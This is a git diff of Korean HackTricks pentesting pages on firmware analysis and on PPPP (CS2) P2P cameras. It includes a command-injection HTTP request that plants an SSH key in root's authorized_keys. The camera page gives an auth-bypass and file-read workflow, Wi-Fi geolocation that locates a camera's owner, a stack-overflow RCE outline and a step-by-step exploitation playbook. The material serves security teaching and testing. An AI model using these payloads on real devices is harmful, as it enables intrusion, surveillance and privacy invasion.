- 사용자 자격 증명을 위한 **etc/shadow** 및 **etc/passwd**
|
||||
- **etc/shadow** 및 **etc/passwd** (사용자 자격증명 확인용)
|
||||
- **etc/ssl**의 SSL 인증서 및 키
|
||||
- 잠재적 취약점을 위한 구성 및 스크립트 파일
|
||||
- 추가 분석을 위한 내장 바이너리
|
||||
- 일반 IoT 장치 웹 서버 및 바이너리
|
||||
- 잠재적 취약점을 찾아볼 설정 및 스크립트 파일
|
||||
- 추가 분석을 위한 임베디드 바이너리
|
||||
- 일반적인 IoT 장치의 웹 서버 및 바이너리
|
||||
|
||||
여러 도구가 파일 시스템 내에서 민감한 정보와 취약점을 발견하는 데 도움을 줍니다:
|
||||
파일시스템 내에서 민감한 정보와 취약점을 발견하는 데 도움이 되는 여러 도구가 있습니다:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 및 [**Firmwalker**](https://github.com/craigz28/firmwalker)로 민감한 정보 검색
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core)로 포괄적인 펌웨어 분석
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), 및 [**EMBA**](https://github.com/e-m-b-a/emba)로 정적 및 동적 분석
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 및 [**Firmwalker**](https://github.com/craigz28/firmwalker) (민감한 정보 검색용)
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) (종합적인 펌웨어 분석용)
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), 및 [**EMBA**](https://github.com/e-m-b-a/emba) (정적 및 동적 분석용)
|
||||
|
||||
### 컴파일된 바이너리에 대한 보안 검사
|
||||
### Security Checks on Compiled Binaries
|
||||
|
||||
파일 시스템에서 발견된 소스 코드와 컴파일된 바이너리는 취약점에 대해 면밀히 조사해야 합니다. Unix 바이너리를 위한 **checksec.sh**와 Windows 바이너리를 위한 **PESecurity**와 같은 도구는 악용될 수 있는 보호되지 않은 바이너리를 식별하는 데 도움을 줍니다.
|
||||
파일시스템에서 발견된 소스 코드와 컴파일된 바이너리는 모두 취약점에 대해 면밀히 검토되어야 합니다. Unix 바이너리용 **checksec.sh**와 Windows 바이너리용 **PESecurity** 같은 도구는 악용될 수 있는 보호되지 않은 바이너리를 식별하는 데 도움을 줍니다.
|
||||
|
||||
## 동적 분석을 위한 펌웨어 에뮬레이션
|
||||
## Emulating Firmware for Dynamic Analysis
|
||||
|
||||
펌웨어를 에뮬레이트하는 과정은 장치의 작동 또는 개별 프로그램의 **동적 분석**을 가능하게 합니다. 이 접근 방식은 하드웨어 또는 아키텍처 의존성으로 인해 어려움이 발생할 수 있지만, 루트 파일 시스템이나 특정 바이너리를 Raspberry Pi와 같은 일치하는 아키텍처 및 엔디안성을 가진 장치로 전송하거나 미리 구축된 가상 머신으로 전송하면 추가 테스트를 용이하게 할 수 있습니다.
|
||||
펌웨어를 에뮬레이션하는 과정은 장치의 동작이나 개별 프로그램에 대한 동적 분석을 가능하게 합니다. 이 접근법은 하드웨어나 아키텍처 종속성으로 인해 어려움이 있을 수 있으나, Raspberry Pi와 같이 아키텍처 및 엔디안이 일치하는 장치로 루트 파일시스템이나 특정 바이너리를 옮기거나 사전 구성된 가상 머신으로 옮기면 추가 테스트를 용이하게 할 수 있습니다.
|
||||
|
||||
### 개별 바이너리 에뮬레이션
|
||||
### Emulating Individual Binaries
|
||||
|
||||
단일 프로그램을 검사하기 위해서는 프로그램의 엔디안성과 CPU 아키텍처를 식별하는 것이 중요합니다.
|
||||
단일 프로그램을 검사할 때는 해당 프로그램의 엔디안과 CPU 아키텍처를 식별하는 것이 중요합니다.
|
||||
|
||||
#### MIPS 아키텍처 예시
|
||||
#### Example with MIPS Architecture
|
||||
|
||||
MIPS 아키텍처 바이너리를 에뮬레이트하려면 다음 명령을 사용할 수 있습니다:
|
||||
To emulate a MIPS architecture binary, one can use the command:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
@ -186,83 +193,83 @@ file ./squashfs-root/bin/busybox
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
MIPS (빅 엔디안)의 경우 `qemu-mips`가 사용되며, 리틀 엔디안 바이너리의 경우 `qemu-mipsel`이 선택됩니다.
|
||||
For MIPS (big-endian), `qemu-mips` is used, and for little-endian binaries, `qemu-mipsel` would be the choice.
|
||||
|
||||
#### ARM 아키텍처 에뮬레이션
|
||||
#### ARM Architecture Emulation
|
||||
|
||||
ARM 바이너리의 경우, 프로세스는 유사하며 `qemu-arm` 에뮬레이터가 에뮬레이션에 사용됩니다.
|
||||
ARM 바이너리의 경우 절차는 유사하며, 에뮬레이션을 위해 `qemu-arm` 에뮬레이터를 사용합니다.
|
||||
|
||||
### 전체 시스템 에뮬레이션
|
||||
### Full System Emulation
|
||||
|
||||
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)와 같은 도구는 전체 펌웨어 에뮬레이션을 용이하게 하여 프로세스를 자동화하고 동적 분석을 지원합니다.
|
||||
Tools like [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), and others, facilitate full firmware emulation, automating the process and aiding in dynamic analysis.
|
||||
|
||||
## 실제 동적 분석
|
||||
## Dynamic Analysis in Practice
|
||||
|
||||
이 단계에서는 실제 또는 에뮬레이션된 장치 환경이 분석에 사용됩니다. OS 및 파일 시스템에 대한 셸 접근을 유지하는 것이 중요합니다. 에뮬레이션이 하드웨어 상호작용을 완벽하게 모방하지 못할 수 있으므로 가끔 에뮬레이션을 재시작해야 할 필요가 있습니다. 분석은 파일 시스템을 재검토하고, 노출된 웹페이지 및 네트워크 서비스를 이용하며, 부트로더 취약점을 탐색해야 합니다. 펌웨어 무결성 테스트는 잠재적인 백도어 취약점을 식별하는 데 중요합니다.
|
||||
이 단계에서는 실제 디바이스 환경이나 에뮬레이션된 환경 중 하나를 사용해 분석을 수행합니다. OS와 파일시스템에 대한 shell 접근을 유지하는 것이 중요합니다. 에뮬레이션은 하드웨어 상호작용을 완벽히 모사하지 못할 수 있어 가끔 에뮬레이션을 재시작해야 할 필요가 있습니다. 분석 시 파일시스템을 다시 살펴보고, 노출된 웹페이지와 네트워크 서비스를 조사하며, 부트로더(bootloader) 취약점을 탐색해야 합니다. 펌웨어 무결성 검사는 잠재적인 백도어 취약점을 식별하는 데 중요합니다.
|
||||
|
||||
## 런타임 분석 기술
|
||||
## Runtime Analysis Techniques
|
||||
|
||||
런타임 분석은 gdb-multiarch, Frida 및 Ghidra와 같은 도구를 사용하여 운영 환경에서 프로세스 또는 바이너리와 상호작용하며, 중단점을 설정하고 퍼징 및 기타 기술을 통해 취약점을 식별하는 것을 포함합니다.
|
||||
런타임 분석은 프로세스나 바이너리를 해당 운영 환경에서 상호작용하며 검사하는 것을 의미합니다. 중단점 설정과 취약점 식별을 위해 gdb-multiarch, Frida, Ghidra 같은 도구를 사용하고, fuzzing 등 기법으로 취약점을 찾아냅니다.
|
||||
|
||||
## 바이너리 익스플로잇 및 개념 증명
|
||||
## Binary Exploitation and Proof-of-Concept
|
||||
|
||||
식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로 프로그래밍하는 능력이 필요합니다. 임베디드 시스템에서 바이너리 런타임 보호는 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기술이 필요할 수 있습니다.
|
||||
식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로의 프로그래밍 능력이 필요합니다. 임베디드 시스템에서는 바이너리 런타임 보호가 드물지만, 존재하는 경우 Return Oriented Programming (ROP) 같은 기법이 필요할 수 있습니다.
|
||||
|
||||
## 펌웨어 분석을 위한 준비된 운영 체제
|
||||
## Prepared Operating Systems for Firmware Analysis
|
||||
|
||||
[AttifyOS](https://github.com/adi0x90/attifyos) 및 [EmbedOS](https://github.com/scriptingxss/EmbedOS)와 같은 운영 체제는 펌웨어 보안 테스트를 위한 사전 구성된 환경을 제공하며, 필요한 도구가 장착되어 있습니다.
|
||||
Operating systems like [AttifyOS](https://github.com/adi0x90/attifyos) and [EmbedOS](https://github.com/scriptingxss/EmbedOS) provide pre-configured environments for firmware security testing, equipped with necessary tools.
|
||||
|
||||
## 펌웨어 분석을 위한 준비된 OS
|
||||
## Prepared OSs to analyze Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS는 사물인터넷(IoT) 장치의 보안 평가 및 침투 테스트를 수행하는 데 도움을 주기 위해 설계된 배포판입니다. 필요한 모든 도구가 로드된 사전 구성된 환경을 제공하여 많은 시간을 절약할 수 있습니다.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): 펌웨어 보안 테스트 도구가 사전 로드된 Ubuntu 18.04 기반의 임베디드 보안 테스트 운영 체제입니다.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS는 Internet of Things (IoT) 디바이스의 security assessment 및 penetration testing을 수행하는 데 도움을 주기 위해 설계된 배포판입니다. 필요한 도구들이 미리 구성된 환경을 제공하여 많은 시간을 절약해 줍니다.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ubuntu 18.04 기반의 임베디드 보안 테스트 운영체제로, 펌웨어 보안 테스트 도구들이 사전 탑재되어 있습니다.
|
||||
|
||||
## 펌웨어 다운그레이드 공격 및 안전하지 않은 업데이트 메커니즘
|
||||
## Firmware Downgrade Attacks & Insecure Update Mechanisms
|
||||
|
||||
벤더가 펌웨어 이미지에 대한 암호화 서명 검사를 구현하더라도, **버전 롤백(다운그레이드) 보호는 자주 생략됩니다**. 부트 또는 복구 로더가 내장된 공개 키로 서명만 검증하고 플래시되는 이미지의 *버전* (또는 단조 카운터)을 비교하지 않으면, 공격자는 **여전히 유효한 서명을 가진 이전의 취약한 펌웨어를 정당하게 설치**할 수 있으며, 따라서 패치된 취약점을 다시 도입할 수 있습니다.
|
||||
벤더가 펌웨어 이미지에 대해 암호화 서명 검사를 구현하더라도, **버전 롤백(version rollback, downgrade) 보호가 종종 누락됩니다**. 부트로더나 복구 로더가 내장된 공개키로 서명만 검증하고 플래시되는 이미지의 *버전*(또는 단조 증가 카운터)을 비교하지 않으면, 공격자는 합법적으로 유효한 서명을 가진 **이전의 취약한 펌웨어를 설치**하여 패치된 취약점을 다시 도입할 수 있습니다.
|
||||
|
||||
전형적인 공격 워크플로우:
|
||||
Typical attack workflow:
|
||||
|
||||
1. **이전 서명된 이미지 확보**
|
||||
1. **Obtain an older signed image**
|
||||
* 벤더의 공개 다운로드 포털, CDN 또는 지원 사이트에서 가져옵니다.
|
||||
* 동반 모바일/데스크탑 애플리케이션에서 추출합니다 (예: Android APK의 `assets/firmware/` 내부).
|
||||
* VirusTotal, 인터넷 아카이브, 포럼 등과 같은 제3자 리포지토리에서 검색합니다.
|
||||
2. **노출된 업데이트 채널을 통해 장치에 이미지를 업로드하거나 제공합니다**:
|
||||
* 웹 UI, 모바일 앱 API, USB, TFTP, MQTT 등.
|
||||
* 많은 소비자 IoT 장치는 Base64로 인코딩된 펌웨어 블롭을 수용하는 *인증되지 않은* HTTP(S) 엔드포인트를 노출하여 서버 측에서 디코딩하고 복구/업그레이드를 트리거합니다.
|
||||
3. 다운그레이드 후, 최신 릴리스에서 패치된 취약점을 악용합니다 (예: 나중에 추가된 명령 주입 필터).
|
||||
4. 선택적으로 최신 이미지를 다시 플래시하거나 지속성을 확보한 후 탐지를 피하기 위해 업데이트를 비활성화합니다.
|
||||
* 동반 모바일/데스크탑 애플리케이션에서 추출(예: Android APK 내부의 `assets/firmware/`)합니다.
|
||||
* VirusTotal, 인터넷 아카이브, 포럼 등 제3자 저장소에서 확보합니다.
|
||||
2. **Upload or serve the image to the device** via any exposed update channel:
|
||||
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
|
||||
* 많은 소비자용 IoT 디바이스는 *unauthenticated* HTTP(S) 엔드포인트를 노출하여 Base64-encoded 펌웨어 블롭을 수신하고 서버 측에서 디코딩한 뒤 복구/업그레이드를 트리거합니다.
|
||||
3. 다운그레이드 후, 최신 릴리스에서 패치된 취약점을 악용합니다(예: 나중에 추가된 command-injection filter 우회).
|
||||
4. 선택적으로 최신 이미지를 다시 플래시하거나 업데이트를 비활성화하여 지속성을 확보한 후 탐지를 피합니다.
|
||||
|
||||
### 예: 다운그레이드 후 명령 주입
|
||||
### Example: Command Injection After Downgrade
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
취약한 (다운그레이드된) 펌웨어에서 `md5` 매개변수는 정화 없이 쉘 명령에 직접 연결되어 임의의 명령 주입을 허용합니다 (여기서는 SSH 키 기반 루트 액세스 활성화). 이후 펌웨어 버전에서는 기본 문자 필터가 도입되었지만, 다운그레이드 보호의 부재로 인해 수정이 무의미해졌습니다.
|
||||
취약한(다운그레이드된) 펌웨어에서는 `md5` 파라미터가 입력 검증 없이 쉘 명령에 직접 연결되어 임의 명령을 주입할 수 있게 하며(여기서는 SSH 키 기반의 root 접근을 허용), 이후 펌웨어 버전에서 기본적인 문자 필터가 도입되었지만 다운그레이드 보호가 없어 해당 수정은 무의미해진다.
|
||||
|
||||
### 모바일 앱에서 펌웨어 추출하기
|
||||
|
||||
많은 공급업체가 전체 펌웨어 이미지를 동반 모바일 애플리케이션에 포함시켜 앱이 Bluetooth/Wi-Fi를 통해 장치를 업데이트할 수 있도록 합니다. 이러한 패키지는 일반적으로 `assets/fw/` 또는 `res/raw/`와 같은 경로의 APK/APEX에 암호화되지 않은 상태로 저장됩니다. `apktool`, `ghidra` 또는 일반 `unzip`과 같은 도구를 사용하면 물리적 하드웨어에 손대지 않고 서명된 이미지를 추출할 수 있습니다.
|
||||
많은 벤더는 동반 모바일 애플리케이션 안에 전체 펌웨어 이미지를 번들로 포함시켜 앱이 Bluetooth/Wi-Fi를 통해 장치를 업데이트할 수 있도록 한다. 이러한 패키지는 일반적으로 APK/APEX의 `assets/fw/` 또는 `res/raw/` 같은 경로에 암호화되지 않은 상태로 저장된다. `apktool`, `ghidra`, 또는 단순한 `unzip` 같은 도구로 물리적 하드웨어에 손대지 않고 서명된 이미지를 추출할 수 있다.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### 업데이트 로직 평가 체크리스트
|
||||
### 업데이트 로직 평가를 위한 체크리스트
|
||||
|
||||
* *업데이트 엔드포인트*의 전송/인증이 적절히 보호되고 있습니까 (TLS + 인증)?
|
||||
* 장치가 플래싱 전에 **버전 번호** 또는 **단조 증가 방지 카운터**를 비교합니까?
|
||||
* 이미지가 보안 부트 체인 내에서 검증됩니까 (예: ROM 코드에 의해 서명 확인)?
|
||||
* 사용자 공간 코드가 추가적인 유효성 검사를 수행합니까 (예: 허용된 파티션 맵, 모델 번호)?
|
||||
* *부분* 또는 *백업* 업데이트 흐름이 동일한 검증 로직을 재사용하고 있습니까?
|
||||
* *update endpoint*의 전송/인증이 충분히 보호되어 있는가 (TLS + authentication)?
|
||||
* 플래싱 전에 **version numbers** 또는 **monotonic anti-rollback counter**를 비교하는가?
|
||||
* 이미지가 secure boot chain 내부에서 검증되는가(예: ROM 코드에서 signatures를 확인)?
|
||||
* userland 코드가 추가적인 sanity 검사(예: 허용되는 partition map, model number)를 수행하는가?
|
||||
* *partial* 또는 *backup* 업데이트 흐름이 동일한 validation logic을 재사용하는가?
|
||||
|
||||
> 💡 위의 항목 중 하나라도 누락되면, 플랫폼은 롤백 공격에 취약할 가능성이 높습니다.
|
||||
> 💡 위 항목들 중 하나라도 누락되어 있다면, 플랫폼은 아마 rollback attacks에 취약할 것입니다.
|
||||
|
||||
## 연습할 취약한 펌웨어
|
||||
## Vulnerable firmware 연습용
|
||||
|
||||
펌웨어에서 취약점을 발견하는 연습을 위해, 다음의 취약한 펌웨어 프로젝트를 시작점으로 사용하십시오.
|
||||
firmware에서 취약점을 발견하는 연습을 하려면, 다음의 취약한 firmware 프로젝트들을 시작점으로 사용하세요.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
@ -277,7 +284,7 @@ firmware_v1.3.11.490_signed.bin
|
||||
- Damn Vulnerable IoT Device (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## 참고 문헌
|
||||
## References
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
|
BIN
src/images/k8studio.jpg
Normal file
BIN
src/images/k8studio.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 6.5 KiB |
@ -0,0 +1,165 @@
|
||||
# 32100/UDP - Pentesting PPPP (CS2) P2P 카메라
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 개요
|
||||
|
||||
PPPP (a.k.a. “P2P”)는 CS2 Network가 만든 독점 장치 연결 스택으로, 저가형 IP 카메라 및 기타 IoT 장치에 널리 내장되어 있습니다. 이 스택은 rendezvous, NAT traversal (UDP hole punching), UDP 위의 애플리케이션 계층 “신뢰성 있는” 스트림, ID 기반 주소 지정 체계를 제공하여 모바일/데스크탑 앱이 장치 ID만 알면 인터넷 어디에서나 장치에 접속할 수 있게 합니다.
|
||||
|
||||
공격자 관점의 주요 특성:
|
||||
- 장치는 ID 접두사별로 공급업체가 운영하는 세 개의 rendezvous 서버에 등록합니다. 클라이언트는 동일한 서버에 질의하여 장치의 외부/릴레이 주소를 찾고 UDP hole punching을 시도합니다. 릴레이 폴백이 존재합니다.
|
||||
- 기본 서버 리스너는 UDP/32100으로 접근 가능합니다. 최소한의 “hello” 프로브만으로 서버와 일부 장치를 지문화할 수 있습니다.
|
||||
- 선택적 blanket cipher와 특수한 “CRCEnc” 모드가 존재하지만 설계상 약하며 인기 있는 생태계(예: LookCam)에서는 일반적으로 비활성화되어 있습니다.
|
||||
- 컨트롤 플레인은 보통 PPPP 스트림 위의 JSON 명령이며, 인증 누락과 메모리 안전성 버그가 흔히 존재합니다.
|
||||
|
||||
일반적인 장치 ID 형식(LookCam 계열): PREFIX-######-CCCCC, 앱에서는 축약되어 표시됩니다(예: GHBB-000001-NRLXW → G000001NRLXW). 관찰된 접두사: BHCC ("hekai"), FHBB 및 GHBB ("mykj").
|
||||
|
||||
## Discovery and Enumeration
|
||||
|
||||
- Internet exposure: 많은 PPPP 슈퍼노드가 32100/UDP 프로브에 응답합니다. 알려진 평문 및 에러 문자열 응답으로 트래픽 캡처나 인터넷 스캐너에서 쉽게 식별됩니다.
|
||||
- LAN discovery: 장치는 종종 로컬 브로드캐스트의 암호화되지 않은 검색에 응답합니다. 열거하려면 Paul Marrapese’s script를 사용하세요:
|
||||
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||
|
||||
참고:
|
||||
- 앱에는 난독화된 서버 IP 목록과 프로토콜 키를 포함한 “init strings”가 내장되어 있습니다. 이 문자열들은 Android/iOS/Windows 클라이언트에서 쉽게 추출되며 종종 많은 제품 라인에서 재사용됩니다.
|
||||
|
||||
## NAT Traversal and Transport
|
||||
|
||||
- Rendezvous 서버는 장치의 주기적 keepalive로부터 장치의 공용 매핑을 학습합니다. 클라이언트는 매핑을 위해 서버에 질의한 뒤 hole punching을 사용해 직접 UDP 플로우를 시도합니다. NAT traversal이 실패하면 지정된 PPPP 릴레이 호스트가 트래픽을 중계합니다.
|
||||
- 애플리케이션 “스트림”은 UDP 위에 자체 ACK/retx 로직을 구현합니다; 재전송 루프가 여러 코드 경로에 중복되어 손실이 심한 링크를 플러딩할 수 있습니다.
|
||||
|
||||
## 약한 “암호화” 및 키 복구
|
||||
|
||||
CS2 스택에는 비효율적인 두 가지 메커니즘이 존재합니다:
|
||||
|
||||
1) Blanket cipher (optional) – P2P_Proprietary_Encrypt
|
||||
- LookCam을 사용하는 OEM에서는 보통 비활성화되어 있습니다.
|
||||
- 앱측 “init string”이 키 재료를 제공하며, 이는 유효한 4바이트 키(~2^32 공간)로 축소됩니다.
|
||||
- 실용적인 알려진 평문: UDP/32100으로 보내는 MSG_HELLO의 처음 4바이트는 F1 00 00 00로 알려져 있습니다. 단일 암호화 핸드셰이크를 관찰하면 빠른 키 복구나 검증이 가능합니다.
|
||||
- 일부 제어 메시지(예: MSG_REPORT_SESSION_READY)는 앱 전반에 공유되는 라이브러리 하드코딩 키로 항상 암호화됩니다.
|
||||
|
||||
2) Registration “encryption” – PPPP_CRCEnc
|
||||
- 이름과 달리 CRC가 아닙니다. 4바이트 패딩 체크(인증되지 않음)가 있는 고정 반복 XOR 키스트림입니다.
|
||||
- LookCam 네트워크는 일반적으로 장치 → 서버 등록(MSG_DEV_LGN_CRC)에 대해서만 CRCEnc를 사용합니다. 나머지 대부분의 트래픽은 평문으로 유지됩니다.
|
||||
|
||||
Simple keystream recovery for PPPP_CRCEnc (Python):
|
||||
```python
|
||||
# ciphertext: captured bytes of an encrypted registration message
|
||||
# known: guessed/known plaintext region (e.g., JSON or constant header)
|
||||
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
|
||||
# Decrypt more bytes by XORing with the repeating keystream
|
||||
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
|
||||
```
|
||||
위협 모델 불일치: CS2 자료는 기밀성(confidentiality)보다는 가짜 디바이스 등록을 통한 DoS 방지에 초점을 맞춘다. 이것이 등록(registration)만 선택적으로 “encryption”되고 비디오/컨트롤은 선택적이거나 cleartext로 남아 있는 이유를 설명한다. 과거 PPPP 서버들은 rate limiting이 없어 대규모 brute-force/abuse가 가능했다.
|
||||
|
||||
## Control Plane: JSON Commands and Auth Bypass
|
||||
|
||||
많은 PPPP 카메라 펌웨어는 세션이 수립되면 JSON 메시지를 주고받는다. 예: 클라이언트가 보내는 “login”:
|
||||
```json
|
||||
{
|
||||
"cmd": "LoginDev",
|
||||
"pwd": "123456"
|
||||
}
|
||||
```
|
||||
Common vulnerability in LookCam-class devices:
|
||||
- 펌웨어가 LoginDev 흐름과 요청별 pwd 필드를 모두 무시함 (CWE-287, CWE-306). 장치는 비밀번호를 검증하지 않고 운영 명령을 수락함.
|
||||
- Exploitation: LoginDev를 보내지 않거나 그 결과를 무시하고 명령을 직접 전송.
|
||||
|
||||
Useful commands observed:
|
||||
- searchWiFiList – iwlist를 호출함; 원시 출력은 /tmp/wifi_scan.txt에 남음.
|
||||
- DownloadFile – 경로 제한 없이 임의 경로 읽기 primitive.
|
||||
|
||||
Workflow to deanonymize location via transient artifacts:
|
||||
1) Send {"cmd":"searchWiFiList"}.
|
||||
2) Read /tmp/wifi_scan.txt via DownloadFile.
|
||||
3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
|
||||
|
||||
## Memory-Safety to RCE on Embedded Firmware
|
||||
|
||||
Typical unsafe pattern (pseudocode from handlers):
|
||||
```c
|
||||
char buf[256];
|
||||
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
memcpy(buf, cmd, strlen(cmd)); // no bound check
|
||||
```
|
||||
- Trigger: any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121).
|
||||
- Protections: no stack canary; DEP/NX and ASLR commonly disabled on these builds.
|
||||
- Impact: straightforward single-stage shellcode or classic ROP/ret2libc on the device’s CPU (e.g., ARM) for full compromise and LAN pivoting.
|
||||
|
||||
See also:
|
||||
-
|
||||
{{#ref}}
|
||||
../binary-exploitation/stack-overflow/README.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Cloud Storage Abuse (HTTP, Device-ID only)
|
||||
|
||||
많은 LookCam 브랜드 펌웨어가 녹화물을 api.l040z.com (BHCC의 경우 apicn.l040z.com)으로 HTTP만 사용해 업로드합니다. 관찰된 점:
|
||||
- 펌웨어에 TLS 없음; 전송은 평문 HTTP.
|
||||
- API "authentication"은 device-ID만 사용: ID를 알고 있으면 녹화물을 가져올 수 있음.
|
||||
- 5 MiB 단위 청크가 하드코딩되어 있음.
|
||||
- 원격 활성화: 부팅 시 장치는 http://api.l040z.com/camera/signurl 를 호출하고, 서버 응답이 업로드 시작 여부를 결정함. 모바일 앱은 업로드가 발생해도 cloud “disabled”로 표시될 수 있음. 제3자가 피해자 ID에 대해 cloud를 구매/활성화하면 무단으로 영상 수집이 가능함.
|
||||
|
||||
이는 classic cleartext sensitive transmission (CWE-319)이며 서버 측 authZ 부재가 문제입니다.
|
||||
|
||||
## Device-ID Enumeration and Guessing
|
||||
|
||||
- ID 형식: PREFIX-######-CCCCC 및 앱 단축형 (예: GHBB-000001-NRLXW → G000001NRLXW).
|
||||
- Prefix 계열: BHCC (hekai servers), FHBB 및 GHBB (mykj servers). 각 prefix는 HA용으로 세 개의 rendezvous 서버에 매핑됨.
|
||||
- 5자 검사자(verifier)는 22개의 대문자 알파벳을 사용 (A, I, O, Q 제외) → 22^5 ≈ 5.15M 조합/숫자 기반.
|
||||
- 이전 연구에서 서버 측 rate-limiting이 없는 것으로 관찰되어 분산 추측이 실용적임. verifier 알고리즘은 맞춤형이며 앱/펌웨어 리버싱으로 추측하거나 얻을 가능성이 높음.
|
||||
|
||||
실무적 ID 출처:
|
||||
- 공식 앱 전반에 표시되며 사용자 스크린샷/비디오에서 자주 leaked.
|
||||
- AP 모드 SSID가 device ID와 동일; 많은 장치가 온보딩 중에 오픈 AP를 노출함.
|
||||
|
||||
## Forcing Remote Reachability
|
||||
|
||||
일부 펌웨어는 rendezvous 서버에 도달할 수 있을 때까지 재부팅 루프에 들어갑니다. egress가 차단되면 장치는 재부팅 사이클에 남아 소유자가 장치를 인터넷에 연결하게 강제하고 PPPP rendezvous에 노출되게 됩니다.
|
||||
|
||||
## Practical Exploitation Playbook (for repro/defense testing)
|
||||
|
||||
1) Obtain device ID
|
||||
- 앱 UI 또는 AP SSID에서; 그렇지 않으면 PREFIX+number를 열거하고 22^5 verifier 공간을 브루트포스.
|
||||
|
||||
2) Establish PPPP session
|
||||
- CS2 PPPP client 또는 커스텀 코드 사용; 앱 init 문자열에서 서버 IP 목록과 init keys를 추출; UDP hole punching 시도; 실패하면 relay로 폴백.
|
||||
|
||||
3) Bypass auth
|
||||
- LoginDev를 건너뛰거나 결과를 무시; 운영용 JSON을 직접 전송.
|
||||
|
||||
4) Exfiltrate files / geo-locate
|
||||
- Send {"cmd":"searchWiFiList"}; 그런 다음 DownloadFile "/tmp/wifi_scan.txt"; BSSIDs를 geolocation API에 제출.
|
||||
|
||||
5) Achieve RCE
|
||||
- cmd > 255 bytes를 보내 스택 오버플로우를 유발; ROP/ret2libc를 구성하거나 shellcode를 주입(스택 canary/DEP/ASLR 없음).
|
||||
|
||||
6) Cloud access
|
||||
- device ID만으로 api.l040z.com 엔드포인트와 상호작용; 5 MiB 청킹 유의; cloud 활성화는 앱 UI 상태와 무관하게 /camera/signurl로 제어됨.
|
||||
|
||||
## Related Protocols/Services
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
554-8554-pentesting-rtsp.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-wifi/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
|
||||
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
|
||||
- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
|
||||
- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
|
||||
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -4,34 +4,34 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
||||
출처: [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
||||
|
||||
